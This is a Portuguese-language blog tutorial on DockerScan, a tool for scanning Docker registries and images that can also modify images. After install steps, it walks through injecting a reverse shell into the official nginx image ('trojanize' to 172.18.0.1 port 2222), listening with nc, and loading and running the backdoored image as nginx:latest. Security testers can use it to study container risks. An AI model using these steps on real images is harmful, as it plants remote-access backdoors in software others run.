DockerScan é uma ferramentas de análise e hacking de containers Docker, com ela é possível fazer uma varredura buscando por vulnerabilidades de segurança e também fazer o inverso, injetar vulnerabilidades em imagens Docker, abaixo vamos ver suas principais funcionalidades e alguns exemplos de uso.
Com pouco tempo pra ler tudo? Clica no play e ouça o conteúdo na íntegra!
Principais Funcionalidades
- Faz scan de uma rede tentando localizar os Docker Registries
- Registry
> Delete: Exclui image / tag remota
> Info: Mostra informações de registros remotos
> Push: Envia uma imagem
> Upload: Upload de arquivo - Image
> Analyze
Busca por informações confidenciais em uma imagem
Busca por senhas em variáveis de ambiente
Busca por qualquer URL / IP em variáveis de ambiente
Tenta identificar o usuário usado para executar o software
> Extract: extrair uma imagem
> Info: Obtém meta-informação da imagem
> Modify:
entrypoint: altere o ponto de entrada em um Docker
trojanize: injeta um reverse shell em uma imagem Docker
user: altere o usuário em execução em uma imagem Docker
Instalando o DockerScan
Vamos ver agora como é simples instalar a ferramenta DockerScan.
Primeiro instale o gerenciador de pacotes da linguagem Python o pip:
1
$ python3.
5
-
m pip install
-
U pip
Agora instalamos o DockerScan
1
$ python3.
5
-
m pip install dockerscan
Verifique se a instalação foi feita corretamente e exiba as opções de funcionamento:
1
$ dockerscan -h
Exemplos de utilização
Agora vamos para a parte legal, por a mão na massa, vamos ver alguns exemplos de como o DockerScan pode ser utilizado:
Com o comando a baixo pode ser escaneada uma imagem para identificar possíveis vulnerabilidades:
1
$ dockerscan image info nome-da-imagem
Seguindos os passos abaixo podemos injetar vulnerabilidade em uma imagem Docker. Vamos adicionar um reverse shell neste exemplo:
//Baixe a imagem oficial do nginx $ docker pull nginx //Salve uma cópia da imagem $ docker save nginx -o nginx-original //Liste o conteúdo do diretório para ver se foi criada a cópia $ ls -lh nginx-original //Execute o seguinte comando para ver as informações da imagem $ dockerscan image info nginx-original //Execute um ifconfig para saber seu ip $ ifconfig //Execute para injetar um reverser shell $ dockerscan image modify trojanize nginx-original -l 172.18.0.1 -p 2222 -o nginx-trojanized //Com este comando será criada uma nova imagem com um reverse shell //Execute em outro terminal para ficar "ouvindo" a porta 2222 $ nc -v -k -l 2222 //Faça o load da imagem com vulnerabilidade $ docker load -i nginx-trojanized.tar //Execute $ docker run nginx:latest
Um reverse shell é um tipo de shell no qual a máquina alvo se comunica de volta à máquina atacante. A máquina atacante tem uma porta ouvinte na qual ele recebe a conexão, que ao usar, o código ou a execução do comando são alcançados.
Isso é tudo por enquanto, no repositório do projeto DockerScan pode ser encontrada mais informações sobre esta ferramenta, se você conhece outras dicas, ferramentas, ficou com alguma dúvida ou tem algo a contribuir, deixe um comentário abaixo. Obrigado pela leitura.
Quer saber mais sobre ferramentas para Docker? Leia este outro artigo do meu colega Daniel Archer sobre como Docker entrou para rotina dele.
O que você achou deste conteúdo?